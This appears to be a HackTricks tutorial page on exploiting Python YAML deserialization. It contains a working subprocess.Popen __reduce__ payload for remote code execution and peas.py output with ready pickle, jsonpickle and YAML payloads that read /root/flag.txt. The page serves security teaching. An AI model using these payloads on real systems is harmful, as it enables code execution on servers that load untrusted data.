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Yaml Deserialization
Yaml python libraries is also capable to serialize python objects and not just raw data:
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
Check how the tuple isn’t a raw type of data and therefore it was serialized. And the same happened with the range (taken from the builtins).
safe_load() or safe_load_all() uses SafeLoader and don’t support class object deserialization. Class object deserialization example:
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
The previous code used unsafe_load to load the serialized python class. This is because in version >= 5.1, it doesn’t allow to deserialize any serialized python class or class attribute, with Loader not specified in load() or Loader=SafeLoader.
Note that in recent versions you cannot no longer call .load()without a Loader and the FullLoader is no longer vulnerable to this attack.
RCE
Custom payloads can be created using Python YAML modules such as PyYAML or ruamel.yaml. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization.
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
Tool to create Payloads
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
References
Support HackTricks
You can find the . The proposed exploit in that page is:
The tool can be used to generate python deserialization payloads to abuse Pickle, PyYAML, jsonpickle and ruamel.yaml:
Learn & practice AWS Hacking:
Learn & practice GCP Hacking:
Check the !
Join the 💬 or the or follow us on Twitter 🐦 .
Share hacking tricks by submitting PRs to the and github repos.